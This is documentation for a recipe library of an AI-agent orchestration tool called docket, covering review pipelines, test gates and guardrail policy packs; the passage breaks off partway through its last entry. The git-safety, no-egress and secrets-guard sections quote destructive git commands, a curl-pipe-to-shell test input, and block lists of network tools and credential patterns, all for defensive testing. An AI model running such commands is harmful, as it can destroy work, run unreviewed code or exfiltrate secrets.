Skip to content

The recipe library

A recipe is a directory in the same shape as a repository's .docket/: an optional pod.yaml (kind: pod, name, description, members, settings), optional roles/, pipeline.yaml, policies/, plugins/, skills/ and mcp-servers/. What a recipe brings is derived from what the directory holds, never declared; docket recipes list prints the same derivation. Apply one with:

docket init --recipe <name>            # a new pod for the current repository
docket pod <project> apply <name>      # onto a pod that already exists (--dry-run to plan)
docket recipes show <name>             # description, what it brings, its README

A directory of your own under ~/.docket/recipes/<name>/ is addressable the same way and wins over a shipped recipe of the same name. Composition: apply as many recipes as you need, then docket pod <project> export writes the merged team to .docket/, the configuration of record.

Recipe Brings Description
anti-tautology pipeline anti-tautology Fails a task whose new or changed tests already pass on the code from before the task.
code-intel 2 MCP servers Structural search (ast-grep) and read-only language intelligence (pyright) as pod-scoped MCP servers.
cross-family-review 1 member, pipeline cross-family-review Cross-provider review as a pipeline: the Implementer builds on Anthropic and the Reviewer judges on OpenAI. Needs both providers' credentials (ANTHROPIC_API_KEY and OPENAI_API_KEY).
dual-review 2 members, pipeline dual-review Independent double review as a pipeline: a Reviewer and a Critic evaluate the same change concurrently, and both must pass.
frugal 1 member, 3 settings, pipeline frugal A spend cap and cheap-tier planning/review as a pipeline: an ordinary build stays inexpensive by policy, not by hoping.
git-safety 2 policies Block unattended-unsafe git commands and ask before a push that touches a protected branch.
intake 1 member, pipeline intake The Lead reasons about a task before any code changes: a typed brief, a deterministic resource check, and an operator question when something only a human can answer.
mutation pipeline mutation Fails a task whose changed source files are not well covered by their tests, measured by mutation testing with mutmut (must be installed).
no-egress 3 policies Ask before a bash-run network client, package install, or fetch call leaves the workspace.
ops-approval 1 policy, 1 member, pipeline ops-approval An Operator whose action needs an explicit human sign-off before it runs at all, plus a policy that asks on deploy-shaped commands.
prod-approval 1 policy Ask before an implementer or operator runs a deploy/production-shaped command.
reflexion 2 members, pipeline reflexion Bounded self-critique as a pipeline: the Implementer's own change is critiqued and reworked before the Tester has the final word.
research-review 4 members, pipeline research-review Lead, Researcher, Analyst, Writer and Critic as a pipeline, gated on the Critic's APPROVE/REJECT with one rework cycle back to the Writer.
secrets-guard 3 policies Block writes to credential-shaped paths and credential-shaped text, and redact the same shapes from output.
secure-build 1 role, 1 policy, 1 member, 1 skill, pipeline secure-build A read-only security vetter gates the Implementer's change behind an explicit APPROVE, with one bounded rework cycle.
spec-first 3 members, 1 skill, pipeline spec-first Specification-first development as a pipeline: nothing is implemented until a written spec clears an explicit approval gate.
spec-writer pipeline spec-writer Tests from the brief as a two-step pipeline on two different models: one writes failing tests, the other makes them pass. Needs both providers' credentials (ANTHROPIC_API_KEY and OPENAI_API_KEY).
tdd 1 member, 1 skill, pipeline tdd Test-driven development as a pipeline: a failing test is written and mechanically confirmed to fail before any implementation exists.

anti-tautology

Fails a task whose new or changed tests already pass on the code from before the task.

Brings: pipeline anti-tautology. Summary line: roles 0 · policies 0 · members 0 · pipeline anti-tautology · plugins 0 · skills 0 · settings 0

docket init --recipe anti-tautology
docket pod <project> apply anti-tautology

Practice: a test is only evidence if it can fail. A test that already passes on the code from before the task does not test the task.

What docket's gates make structural: after the Implementer's verify gate, check-tests-fail-on-base is a run command step. It reads DOCKET_BASE_COMMIT and DOCKET_HEAD_COMMIT (set for command steps), lists test files added or modified between them, creates a disposable detached worktree at the base commit, copies those files in as committed at the head, and runs them there. If they pass (or collect no tests) on the base, the step fails and so does the task. If they fail on the base, the step passes. If no test file changed, it passes with a message. The worktree is always removed afterwards. Any failure on the base counts, including an import error for code the task adds.

Apply it

docket init --recipe anti-tautology          # a new pod
docket pod <project> apply anti-tautology    # onto an existing pod

Commands the step runs

The step's command is a single python3 -c '...'. docket classifies only that line: python3 is on the curated allowlist and the script avoids ${, $(, backticks, eval and exec, so the verdict is allow and no allowCommands entry is needed. The script itself then runs, as subprocesses that the classifier never sees: git diff --name-only --diff-filter=AM, git worktree add --detach, git show <head>:<file>, git worktree remove --force, and the test runner (default python3 -m pytest -q <files>).

Customise

The step declares two overridable names under its own env:, set to the defaults below. A pod overrides them by editing the step: docket pod <project> export <dir>, change the env: values in <dir>/pipeline.yaml, then docket pod <project> apply <dir>.

  • ANTI_TAUTOLOGY_GLOB -- comma-separated file-name globs, default test_*.py,*_test.py
  • ANTI_TAUTOLOGY_RUNNER -- the runner command, default python3 -m pytest -q

For anything else, edit the script in pipeline.yaml.

Limits

Only files are compared, not individual test functions: a changed file that mixes a new failing test with old passing ones passes the check only if the file as a whole fails on the base.

Undo

docket pod <project> config unset pipeline

code-intel

Structural search (ast-grep) and read-only language intelligence (pyright) as pod-scoped MCP servers.

Brings: 2 MCP servers. Summary line: roles 0 · policies 0 · members 0 · pipeline none · plugins 0 · skills 0 · settings 0 · mcp-servers ast-grep, language-intel · unjailed ast-grep

docket init --recipe code-intel
docket pod <project> apply code-intel

Two pod-scoped MCP servers that let an agent search code by syntax tree and ask a language server about symbols. No roles, no pipeline, no members; docket pod <p> apply code-intel installs the two server declarations for that pod only (the mcp-server items), and nothing runs until a turn loads them. Applying never installs the binaries below.

Server Gives the agent Declared Needs on PATH
ast-grep find_code, find_code_by_rule, dump_syntax_tree, test_match_code_rule access: read; the server exposes exactly these four search tools and no write or rewrite tool uvx and ast-grep; declared isolate: false, see below
language-intel definition, references, diagnostics, hover access: read with tools: restricted to those four, because the same server also offers edit_file and rename_symbol, which are never registered mcp-language-server and pyright-langserver

Verified on 2026-10-04

  • ast-grep: the ast-grep project's own server, https://github.com/ast-grep/ast-grep-mcp (README: uvx --from git+https://github.com/ast-grep/ast-grep-mcp ast-grep-server; its main.py registers exactly four @mcp.tool() functions, none writing). The ast-grep binary it shells out to is npm @ast-grep/cli 0.45.3 (npm view checked). The server is not on PyPI under that name, so it runs from the git URL; pin a commit there for reproducibility.
  • language-intel: https://github.com/isaacphi/mcp-language-server (Go; install with go install github.com/isaacphi/mcp-language-server@latest; tool names read from its tools.go: edit_file, definition, references, diagnostics, hover, rename_symbol). The language server it drives is npm pyright 1.1.414, which ships the pyright-langserver binary (npm view pyright bin checked).

Neither server was executed here; the checks are package metadata and source reads.

Isolation

A turn starts stdio servers in the same jail as bash. ast-grep declares isolate: false because, measured 2026-10-05 through system.bwrap_command_argv with a warm cache, uvx fails there with Could not acquire lock ... Read-only file system (os error 30) on its cache under ~/.cache/uv. Applying prints ast-grep: runs unjailed (isolate: false); the server starts on the host with your user's rights. language-intel stays jailed (its binary was not installed on the measuring host); if it cannot start in the jail, add isolate: false to its document.

Make it yours

language-intel is wired for Python. For another language change --lsp and its arguments (the server's README lists gopls, rust-analyzer, typescript-language-server and clangd). --workspace . resolves against the server process's working directory; set an absolute path if the turn does not start in the codebase. Servers are stored pod-scoped in config/mcp-servers.json and are selected like any other through the pod's mcpServers setting (global servers and this pod's own).

cross-family-review

Cross-provider review as a pipeline: the Implementer builds on Anthropic and the Reviewer judges on OpenAI. Needs both providers' credentials (ANTHROPIC_API_KEY and OPENAI_API_KEY).

Brings: 1 member, pipeline cross-family-review. Summary line: roles 0 · policies 0 · members 1 · pipeline cross-family-review · plugins 0 · skills 0 · settings 0

docket init --recipe cross-family-review
docket pod <project> apply cross-family-review

Practice: a reviewer from another provider family.

Source idea: a reviewer from the same model family tends to share the implementer's blind spots. Here the Implementer runs on Anthropic and the Reviewer on OpenAI.

What docket's gates make structural: model: anthropic/claude-sonnet-4-6 on build and model: openai/gpt-4.1-mini on review pin the two families, whatever the pod's default or any docket models set pin. The Reviewer's APPROVE/REQUEST-CHANGES verdict is a bounded rework edge: a REQUEST-CHANGES sends the task back to the Implementer (limited to one cycle) before the task is done.

Apply it

For a new pod, or onto one that already has its lead and implementer:

docket init --recipe cross-family-review          # a new pod for the current repository
docket pod <project> apply cross-family-review    # onto an existing pod

Set both providers' credentials first: ANTHROPIC_API_KEY and OPENAI_API_KEY, as environment variables or in secrets.json.

pod.yaml names the one member this recipe adds (reviewer); apply validates the roster and pipeline before writing anything, and is safe to run again (a second run plans every item skip). --dry-run prints the plan without writing.

Files

  • pod.yaml — what apply reads: kind: pod, name: cross-family-review, members: [reviewer], description.
  • pipeline.yaml — build (Implementer, model: anthropic/claude-sonnet-4-6, gated on its own verify command) -> review (Reviewer, model: openai/gpt-4.1-mini, APPROVE/REQUEST-CHANGES verdict, rework -> build, maxCycles 1).

Undo

docket pod <project> config unset pipeline
docket pod <project> remove <project>-reviewer

dual-review

Independent double review as a pipeline: a Reviewer and a Critic evaluate the same change concurrently, and both must pass.

Brings: 2 members, pipeline dual-review. Summary line: roles 0 · policies 0 · members 2 · pipeline dual-review · plugins 0 · skills 0 · settings 0

docket init --recipe dual-review
docket pod <project> apply dual-review

Practice: dual (independent) review — two reviewers, no cross-talk.

Source idea: two independent reviewers catch more than one, and reviewing concurrently without seeing each other's verdict avoids one anchoring on the other — the same rationale behind requiring two approvals on a pull request.

What docket's gates make structural: reviews is a real parallel group — the Reviewer and the Critic run as two independent, concurrently-dispatched agent turns, each gated on its own role's own verdict contract (Reviewer's APPROVE/REQUEST-CHANGES, Critic's APPROVE/REJECT), neither seeing the other's output before its own turn completes. The group's outcome is a priority merge — any child failing fails the whole group — so a "quiet" reviewer cannot let a change through on the other's approval alone.

Apply it

For a new pod, or onto one that already has its lead and implementer:

docket init --recipe dual-review          # a new pod for the current repository
docket pod <project> apply dual-review    # onto an existing pod

pod.yaml names the two members this recipe adds (reviewer, critic); apply validates the roster and pipeline.yaml before writing anything, and is safe to run again (a second run plans every item skip). --dry-run prints the plan without writing.

Files

  • pod.yaml — what apply reads: kind: pod, name: dual-review, members: [reviewer, critic].
  • pipeline.yaml — build (Implementer, gated on its own verify command) -> reviews, a parallel group of review-code (Reviewer) and review-risk (Critic), each falling back to its own role's default verdict gate since neither step declares one explicitly.

Undo

docket pod <project> config unset pipeline
docket pod <project> remove <project>-reviewer
docket pod <project> remove <project>-critic

frugal

A spend cap and cheap-tier planning/review as a pipeline: an ordinary build stays inexpensive by policy, not by hoping.

Brings: 1 member, 3 settings, pipeline frugal. Summary line: roles 0 · policies 0 · members 1 · pipeline frugal · plugins 0 · skills 0 · settings 3

docket init --recipe frugal
docket pod <project> apply frugal

Practice: cost-bounded dispatch — a spend cap plus cheap-tier planning and review.

Source idea: most planning and review turns don't need the strongest, most expensive model — reserve spend for the step that actually needs it (the Implementer) and cap the rest, the right-size-the-model-to-the-role practice model-routing setups use.

What docket's gates make structural: budgetUsd: 2 is enforced by dispatch's own budget gate — a task that would exceed it pauses rather than silently overspending. maxReworkCycles: 1 bounds the Reviewer's own rework edge pod-wide. model: cheap on plan and review resolves against the live rank anchors for that hop only; it is never persisted to the Lead's or Reviewer's own pinned model, so removing this pipeline restores their ordinary resolution.

Apply it

For a new pod, or onto one that already has its lead and implementer:

docket init --recipe frugal          # a new pod for the current repository
docket pod <project> apply frugal    # onto an existing pod

pod.yaml names the one member this recipe adds (reviewer) and the three settings it writes (budgetUsd, maxReworkCycles, turnTimeoutS); apply validates the roster, the settings and pipeline.yaml before writing anything, and is safe to run again (a second run plans every item skip). --dry-run prints the plan without writing.

Files

  • pod.yaml — what apply reads: kind: pod, name: frugal, members: [reviewer], settings: {budgetUsd: 2, maxReworkCycles: 1, turnTimeoutS: 600}.
  • pipeline.yaml — plan (Lead, model: cheap) -> build (Implementer, gated on its own verify command) -> review (Reviewer, model: cheap, APPROVE/REQUEST-CHANGES verdict, rework -> build, maxCycles 1).

Undo

docket pod <project> config unset pipeline
docket pod <project> config unset budgetUsd
docket pod <project> config unset maxReworkCycles
docket pod <project> config unset turnTimeoutS
docket pod <project> remove <project>-reviewer

git-safety

Block unattended-unsafe git commands and ask before a push that touches a protected branch.

Brings: 2 policies. Summary line: roles 0 · policies 2 · members 0 · pipeline none · plugins 0 · skills 0 · settings 0

docket init --recipe git-safety
docket pod <project> apply git-safety

A policy pack: two guardrail policies, no roles, no pipeline, no members. Applying it to a pod adds nothing to the roster and changes no dispatch step -- it only narrows what bash may do inside that pod's own turns.

Threat model, in three sentences. An agent under time pressure (or one following an adversarial instruction smuggled into its context) can lose real work with a single unattended git command -- a force-push overwrites another operator's commits, git reset --hard/git clean -f discard uncommitted work with no undo, and git branch -D/git checkout -- . destroy a branch or working-tree edits outright. None of docket's exec allowlist or role denials stop these: git itself is allowlisted (security-gates.spec.md), so the classifier never sees the difference between git status and git push --force. This pack closes exactly that gap with structured predicates over the call itself (tool: bash, matches, branch) rather than free text, so it fires on the command regardless of which role or pipeline step issued it.

Apply it

docket init --recipe git-safety          # a new pod for the current directory
docket pod <project> apply git-safety    # onto an existing pod

apply validates both policy files and plans them (policy items only -- there is no pod.yaml member to add), and is safe to run again (a second run plans every item skip). --dry-run prints the plan without writing.

See it fire

docket pod <project> apply git-safety
docket policies test pre_tool_call implementer "git push --force origin main" --pod <project>

The result names git-safety-block-destructive and blocks. A plain git push origin main (destination or current branch is protected) asks instead:

docket policies test pre_tool_call implementer "git push origin main" --pod <project>

Files

  • pod.yaml -- kind: pod, name: git-safety, description; no members, since a policy pack changes no roster.
  • policies/git-safety-block-destructive.yaml -- tool: bash + matches; blocks force-push, reset --hard, forced clean, forced branch delete, forced checkout, and a global config edit, for every role.
  • policies/git-safety-ask-protected-branch-push.yaml -- tool: bash + matches: git push AND (a destination-name match OR the structured branch predicate against main/master/ production/prod); asks for every role.

Undo

rm ~/.docket/workspaces/pods/<project>/config/policies/git-safety-block-destructive.yaml
rm ~/.docket/workspaces/pods/<project>/config/policies/git-safety-ask-protected-branch-push.yaml

intake

The Lead reasons about a task before any code changes: a typed brief, a deterministic resource check, and an operator question when something only a human can answer.

Brings: 1 member, pipeline intake. Summary line: roles 0 · policies 0 · members 1 · pipeline intake · plugins 0 · skills 0 · settings 0

docket init --recipe intake
docket pod <project> apply intake

Practice: structured intake / requirements triage before implementation starts.

Source idea: an operator who assigns work and walks away benefits most when the Lead reasons about the task before handing it to the Implementer -- naming what "done" means, what it needs, and what it doesn't know yet -- rather than guessing silently or blocking on every risky action.

What docket's gates make structural: the Lead's first hop ends in exactly one marker. READY only reaches the Implementer after _check_brief_resources confirms every secret:/path:/verify resource the brief named is actually present -- a missing one blocks the task (blockedReason: resources, AUTH_REQUIRED in the A2A view) instead of letting the Implementer discover it mid-turn. NEEDS-INPUT turns the brief's own questions into a real operator question (one property per question, not a single free-text box) and returns to the Lead once they're answered. REJECT fails the task immediately (failureKind: rejected, REJECTED in the A2A view) instead of consuming an Implementer turn on a task the Lead has already decided not to attempt. The brief is optional: a reply with no parseable brief but a READY marker still advances exactly as before this recipe existed.

Apply it

For a new pod, or onto one that already has its lead and implementer:

docket init --recipe intake          # a new pod for the current repository
docket pod <project> apply intake    # onto an existing pod

pod.yaml names the one member this recipe adds beyond the lean pod (reviewer); apply validates the roster and pipeline.yaml before writing anything, and is safe to run again (a second run plans every item skip). --dry-run prints the plan without writing.

Files

  • pod.yaml -- what apply reads: kind: pod, name: intake, members: [reviewer].
  • pipeline.yaml -- lead (writes a typed brief, READY/NEEDS-INPUT/REJECT) -> ask (an operator-input step, only reached on NEEDS-INPUT, loops back to lead once answered, capped) -> build (Implementer, gated on its own verify command) -> review (Reviewer, APPROVE/REQUEST-CHANGES verdict, rework -> build, maxCycles 1).

Undo

docket pod <project> config unset pipeline
docket pod <project> remove <project>-reviewer

mutation

Fails a task whose changed source files are not well covered by their tests, measured by mutation testing with mutmut (must be installed).

Brings: pipeline mutation. Summary line: roles 0 · policies 0 · members 0 · pipeline mutation · plugins 0 · skills 0 · settings 0

docket init --recipe mutation
docket pod <project> apply mutation

Practice: mutation testing -- a test suite is only as good as the share of deliberate bugs it catches.

Tool: mutmut 3.x, which must be installed where docket runs (pip install mutmut). If it is not on PATH the step fails with that message; it never silently passes.

What docket's gates make structural: after the Implementer's verify gate, check-mutation-score is a run command step. It reads DOCKET_BASE_COMMIT and DOCKET_HEAD_COMMIT, lists the Python source files added or modified between them (test files and __init__.py are excluded), runs mutmut run <module>.* for those modules, reads mutants/mutmut-cicd-stats.json from mutmut export-cicd-stats, and fails the task when killed / (killed + survived + timeout + suspicious + no_tests + segfault) is below the threshold (80 percent by default). No changed source file, or no mutants produced, passes with a message. The mutants/ directory is removed afterwards unless it already existed.

Apply it

docket init --recipe mutation          # a new pod
docket pod <project> apply mutation    # onto an existing pod

Commands the step runs

The step's command is a single python3 -c '...'. docket classifies only that line: python3 is on the curated allowlist, so the verdict is allow and no allowCommands entry is needed. The script then runs, unclassified, as subprocesses: git diff --name-only --diff-filter=AM, then mutmut run <modules> and mutmut export-cicd-stats.

Scope is by file, not by line

mutmut 3 cannot be restricted to changed lines, and has no path flag: it mutates by module name. The step passes the changed files as module-name globs (src/pkg/calc.py becomes pkg.calc.*), so every function in a changed file is mutated, not only the lines the task touched. A leading src/ or lib/ is stripped; mutmut must be able to locate the code (a src/ or lib/ directory, or a package directory named like the repository, otherwise set source_paths in pyproject.toml or setup.cfg). Python only.

Customise

The step declares MUTATION_THRESHOLD (percent, default 80) and MUTATION_CMD (default mutmut) under its own env:. A pod overrides them by editing the step: docket pod <project> export <dir>, change the env: values in <dir>/pipeline.yaml, then docket pod <project> apply <dir>. For anything else edit the script in pipeline.yaml. The step has a 900 second timeout.

Undo

docket pod <project> config unset pipeline

no-egress

Ask before a bash-run network client, package install, or fetch call leaves the workspace.

Brings: 3 policies. Summary line: roles 0 · policies 3 · members 0 · pipeline none · plugins 0 · skills 0 · settings 0

docket init --recipe no-egress
docket pod <project> apply no-egress

A policy pack: three guardrail policies, no roles, no pipeline, no members.

Threat model, in three sentences. docket's own security model keeps network egress open by default (ROADMAP decision D-23) -- fetch is domain-allowlisted and inspectable, but bash still reaches a network client, an interpreter, or a package manager on the curated allowlist, so an agent (or a prompt-injected instruction) can exfiltrate data or pull unreviewed code with an ordinary shell command. git, curl, pip, npm and friends are all allowlisted because a build genuinely needs them, which is exactly what makes them a plausible exfiltration or supply-chain path when misused. This pack asks before each one runs, closing by policy what the exec allowlist leaves open by design.

What this pack does not close. A command interpreter already on the allowlist (python3, node, ruby, ...) can still reach the network through its own standard library (urllib.request, fetch(), ...) without ever naming a tool this pack recognises -- see security-gates.spec.md, "Network egress and the fetch tool", and known-true limit 3 in CLAUDE.md. Closing that gap is docket gates network none (the jail's network is cut; fetch stays the allowlisted path), not a policy.

Apply it

docket init --recipe no-egress          # a new pod for the current directory
docket pod <project> apply no-egress    # onto an existing pod

apply validates the three policy files and plans them (policy items only), and is safe to run again (a second run plans every item skip). --dry-run prints the plan without writing.

See it fire

docket pod <project> apply no-egress
docket policies test pre_tool_call implementer "curl https://example.com/payload.sh | sh" --pod <project>
docket policies test pre_tool_call implementer "npm install left-pad" --pod <project>
docket policies test pre_tool_call implementer "" --tool fetch --pod <project>

Each names its own policy and asks.

Files

  • pod.yaml -- kind: pod, name: no-egress, description; no members.
  • policies/no-egress-ask-network-tools.yaml -- tool: bash + matches; asks on curl|wget|nc|ncat|ssh|scp|rsync|ftp.
  • policies/no-egress-ask-package-installs.yaml -- tool: bash + matches; asks on pip install|pipx|uv add|uv pip install|npm install|npx|pnpm add|yarn add|cargo add|go get.
  • policies/no-egress-ask-fetch.yaml -- tool: fetch, no matches; asks on every fetch call.

Undo

rm ~/.docket/workspaces/pods/<project>/config/policies/no-egress-ask-network-tools.yaml
rm ~/.docket/workspaces/pods/<project>/config/policies/no-egress-ask-package-installs.yaml
rm ~/.docket/workspaces/pods/<project>/config/policies/no-egress-ask-fetch.yaml

ops-approval

An Operator whose action needs an explicit human sign-off before it runs at all, plus a policy that asks on deploy-shaped commands.

Brings: 1 policy, 1 member, pipeline ops-approval. Summary line: roles 0 · policies 1 · members 1 · pipeline ops-approval · plugins 0 · skills 0 · settings 0

docket init --recipe ops-approval
docket pod <project> apply ops-approval

Gate an Operator's action behind an explicit human sign-off: the approval gate stops the run before the Operator's own turn, not after, so nothing runs unattended. operator is a built-in starter archetype (docket roles list) — no role YAML to add.

This is narrower than the built-in ops pod blueprint (docket init --blueprint ops, which also provisions a Monitor and requires choosing that blueprint at pod creation). Use this recipe when you want the same human-in-the-loop discipline on a pod that already exists.

Apply it

For a new pod, or onto one that already exists:

docket init --recipe ops-approval          # a new pod for the current directory
docket pod <project> apply ops-approval    # onto an existing pod

pod.yaml names the one member this recipe adds (operator); apply validates the policy pack, the resulting roster and pipeline.yaml before writing anything, and is safe to run again (a second run plans every item skip). --dry-run prints the plan without writing. The bundled policies/ops-approval-high-risk.yaml is applied along with everything else, so a deploy/production-shaped operator command always asks a human too, independent of which pipeline step it reached.

Answer the resulting approval with docket approve <token> / docket deny <token> (also reachable over HTTP, MCP or Telegram /approve — every channel is audited). Unanswered requests are denied after APPROVAL_TIMEOUT (900s).

Files

  • pod.yaml — what apply reads: kind: pod, name: ops-approval, members: [operator].
  • pipeline.yaml — lead (assess) -> operator (act, approval gate).
  • policies/ops-approval-high-risk.yaml — applied into the pod's own policy directory; gained a structured tool: bash predicate alongside its matches (Phase 31, D-47), so it only evaluates the regex against an actual shell command rather than every pre_tool_call hook's rendered text; still requires approval for deploy/production shaped commands from the operator role.

Undo

docket pod <project> config unset pipeline
rm ~/.docket/workspaces/pods/<project>/config/policies/ops-approval-high-risk.yaml

prod-approval

Ask before an implementer or operator runs a deploy/production-shaped command.

Brings: 1 policy. Summary line: roles 0 · policies 1 · members 0 · pipeline none · plugins 0 · skills 0 · settings 0

docket init --recipe prod-approval
docket pod <project> apply prod-approval

A policy pack: one guardrail policy, no roles, no pipeline, no members.

Threat model, in three sentences. ops-approval gates the Operator role, but a pod's Implementer can run the exact same deploy commands through bash on the way to "done", and the Implementer has no approval gate of its own in most pipelines. A production-shaped command -- kubectl apply, terraform apply, docker push, a git push to main -- is expensive to undo and easy to run by habit under time pressure, from either role. This pack asks before either role runs one, independent of whatever pipeline step reached it, closing the same gap ops-approval closes but for the role that most often actually holds the shell.

Apply it

docket init --recipe prod-approval          # a new pod for the current directory
docket pod <project> apply prod-approval    # onto an existing pod

apply validates the policy file and plans it (a policy item only), and is safe to run again (a second run plans it skip). --dry-run prints the plan without writing.

See it fire

docket pod <project> apply prod-approval
docket policies test pre_tool_call implementer "terraform apply" --pod <project>
docket policies test pre_tool_call operator "git push origin main" --pod <project>

Both name prod-approval-high-risk and ask.

Files

  • pod.yaml -- kind: pod, name: prod-approval, description; no members.
  • policies/prod-approval-high-risk.yaml -- tool: bash + matches; appliesTo: [implementer, operator]; asks on kubectl apply|delete|replace|rollout, helm upgrade| install, terraform apply|destroy, docker push, npm publish, fly deploy, vercel --prod, heroku promote, or a git push to a production-shaped branch.

Undo

rm ~/.docket/workspaces/pods/<project>/config/policies/prod-approval-high-risk.yaml

reflexion

Bounded self-critique as a pipeline: the Implementer's own change is critiqued and reworked before the Tester has the final word.

Brings: 2 members, pipeline reflexion. Summary line: roles 0 · policies 0 · members 2 · pipeline reflexion · plugins 0 · skills 0 · settings 0

docket init --recipe reflexion
docket pod <project> apply reflexion

Practice: Reflexion — bounded self-critique before verification.

Source idea: an agent's own output is critiqued and revised before it counts as final, bounded so the critique-and-revise loop cannot run forever (Shinn et al., "Reflexion: Language Agents with Verbal Reinforcement Learning").

What docket's gates make structural: critique's REQUEST-CHANGES verdict is a real rework edge back to build, bounded to two cycles by maxCycles: 2 — not a suggestion an Implementer can ignore, and not an unbounded loop either. The Tester's PASS/FAIL verdict runs only once the Critic is satisfied, and is an independent gate from it.

Apply it

For a new pod, or onto one that already has its lead and implementer:

docket init --recipe reflexion          # a new pod for the current repository
docket pod <project> apply reflexion    # onto an existing pod

pod.yaml names the two members this recipe adds (critic, tester); apply validates the roster and pipeline.yaml before writing anything, and is safe to run again (a second run plans every item skip). --dry-run prints the plan without writing.

Files

  • pod.yaml — what apply reads: kind: pod, name: reflexion, members: [critic, tester].
  • pipeline.yaml — build (Implementer, gated on its own verify command) -> critique (Critic, APPROVE/REQUEST-CHANGES verdict, rework -> build, maxCycles 2) -> test (Tester, PASS/FAIL verdict).

Undo

docket pod <project> config unset pipeline
docket pod <project> remove <project>-critic
docket pod <project> remove <project>-tester

research-review

Lead, Researcher, Analyst, Writer and Critic as a pipeline, gated on the Critic's APPROVE/REJECT with one rework cycle back to the Writer.

Brings: 4 members, pipeline research-review. Summary line: roles 0 · policies 0 · members 4 · pipeline research-review · plugins 0 · skills 0 · settings 0

docket init --recipe research-review
docket pod <project> apply research-review

Lead -> Researcher -> Analyst -> Writer -> Critic, gated on the Critic's APPROVE/REJECT verdict with one bounded rework cycle back to the Writer. researcher, analyst, writer and critic are all built-in starter archetypes (docket roles list) — no role YAML to add, just roster and pipeline.

This is the same pipeline shape as the built-in research pod blueprint (docket init --blueprint research). Use this recipe instead when you want the same review discipline on a pod that already exists and was not created with that blueprint.

Apply it

For a new pod, or onto one that already exists:

docket init --recipe research-review          # a new pod for the current directory
docket pod <project> apply research-review    # onto an existing pod

pod.yaml names the four built-in-archetype members this recipe adds; apply validates the resulting roster and pipeline.yaml before writing anything, and is safe to run again (a second run plans every item skip). --dry-run prints the plan without writing.

Files

  • pod.yaml — what apply reads: members: [researcher, analyst, writer, critic].
  • pipeline.yaml — lead -> researcher -> analyst -> writer -> critic (verdict gate, rework -> writer, maxCycles 1).

Undo

docket pod <project> config unset pipeline

secrets-guard

Block writes to credential-shaped paths and credential-shaped text, and redact the same shapes from output.

Brings: 3 policies. Summary line: roles 0 · policies 3 · members 0 · pipeline none · plugins 0 · skills 0 · settings 0

docket init --recipe secrets-guard
docket pod <project> apply secrets-guard

A policy pack: three guardrail policies, no roles, no pipeline, no members.

Threat model, in three sentences. An agent debugging a failing build, or one following an instruction smuggled into its context, can read a real credential and either write it somewhere it should never live (committing a .env or an SSH private key) or echo it into a hop's own output, which the trace/audit log then holds in plain text. Path-shaped predicates catch the first case regardless of the file's contents (an empty .env is just as sensitive a target as a populated one), and text-shaped predicates catch the second regardless of which file or tool carried the secret, because a credential can leak through a bash command's own arguments just as easily as through write/edit. This pack narrows both, and redacts the same shapes from output as a second, independent line of defense.

Apply it

docket init --recipe secrets-guard          # a new pod for the current directory
docket pod <project> apply secrets-guard    # onto an existing pod

apply validates all three policy files and plans them (policy items only), and is safe to run again (a second run plans every item skip). --dry-run prints the plan without writing.

See it fire

docket pod <project> apply secrets-guard
docket policies test pre_tool_call implementer "" --tool write --arg path=config/.env --pod <project>
docket policies test pre_tool_call implementer "" --tool write --arg path=README.md --pod <project>

The first names secrets-guard-block-paths and blocks; the second (an ordinary path) allows.

Files

  • pod.yaml -- kind: pod, name: secrets-guard, description; no members.
  • policies/secrets-guard-block-paths.yaml -- an anyOf of {tool: write|edit, path: ...} pairs over **/.env*, **/*.pem, **/*.key, **/id_rsa*, **/*.p12; blocks.
  • policies/secrets-guard-block-credential-text.yaml -- a matches over the rendered call for a private-key header, an AWS access-key id shape, or an sk-prefixed bearer-token shape, no tool restriction; blocks.
  • policies/secrets-guard-redact-output.yaml -- the same three text shapes, on: output; redacts rather than blocks, since output has already been produced and the goal is keeping it out of the trace/audit record, not stopping the hop.

Undo

rm ~/.docket/workspaces/pods/<project>/config/policies/secrets-guard-block-paths.yaml
rm ~/.docket/workspaces/pods/<project>/config/policies/secrets-guard-block-credential-text.yaml
rm ~/.docket/workspaces/pods/<project>/config/policies/secrets-guard-redact-output.yaml

secure-build

A read-only security vetter gates the Implementer's change behind an explicit APPROVE, with one bounded rework cycle.

Brings: 1 role, 1 policy, 1 member, 1 skill, pipeline secure-build. Summary line: roles 1 · policies 1 · members 1 · pipeline secure-build · plugins 0 · skills 1 · settings 0

docket init --recipe secure-build
docket pod <project> apply secure-build

Add a read-only Security Vetter to a codebase pod: the Implementer's change must get an explicit APPROVE from the vetter before the task counts as done, with one bounded rework cycle back to the Implementer on REQUEST-CHANGES.

Apply it

For a new pod, or onto one that already has its lead and implementer:

docket init --recipe secure-build          # a new pod for the current repository
docket pod <project> apply secure-build    # onto an existing pod

pod.yaml names the one member this recipe adds (security-vetter); apply validates the role, the policy pack, the resulting roster, and pipeline.yaml before writing anything, and is safe to run again (a second run plans every item skip). --dry-run prints the plan without writing. The bundled policies/require-approval-secret-writes.yaml is applied along with everything else, so a secret-shaped write always asks a human, independent of the vetter's own verdict.

Files

  • pod.yaml — what apply reads: kind: pod, name: secure-build, members: [security-vetter].
  • roles/security-vetter.yaml (+ roles/security-vetter.md) — the custom role, short form: cannot: [write, edit, bash], verdict: [APPROVE, REQUEST-CHANGES].
  • pipeline.yaml — lead -> implementer (mechanical gate, its own verifyCmd) -> security-vetter (verdict gate, rework -> implementer, maxCycles 1).
  • skills/security-review/SKILL.md — an Agent Skill, applied whole into the pod's own config/skills/security-review/; a concrete review checklist (injection points, secrets in the diff, unsafe deserialization, path traversal, dependency changes, auth checks) the vetter reads on demand by calling the skill tool with name: security-review.
  • policies/require-approval-secret-writes.yaml — applied into the pod's own policy directory; rewritten on the structured predicates core/policy.py already evaluates (Phase 31, D-47) -- an anyOf of {tool: write, path: '**/.env*'}, {tool: edit, path: '**/.env*'}, and a private-key-header matches -- so it fires on the call itself rather than the loose "write...env" text match it used to be, and so the Implementer's exec surface for secret-shaped writes still narrows regardless of the vetter's own review.

Undo

docket pod <project> config unset pipeline
docket pod <project> remove <project>-security-vetter
rm ~/.docket/workspaces/pods/<project>/config/policies/require-approval-secret-writes.yaml
rm -r ~/.docket/workspaces/pods/<project>/config/skills/security-review

spec-first

Specification-first development as a pipeline: nothing is implemented until a written spec clears an explicit approval gate.

Brings: 3 members, 1 skill, pipeline spec-first. Summary line: roles 0 · policies 0 · members 3 · pipeline spec-first · plugins 0 · skills 1 · settings 0

docket init --recipe spec-first
docket pod <project> apply spec-first

Practice: specification-first (spec-driven) development.

Source idea: write the specification and get it approved before any implementation exists, so a design mistake is caught on paper rather than in a diff.

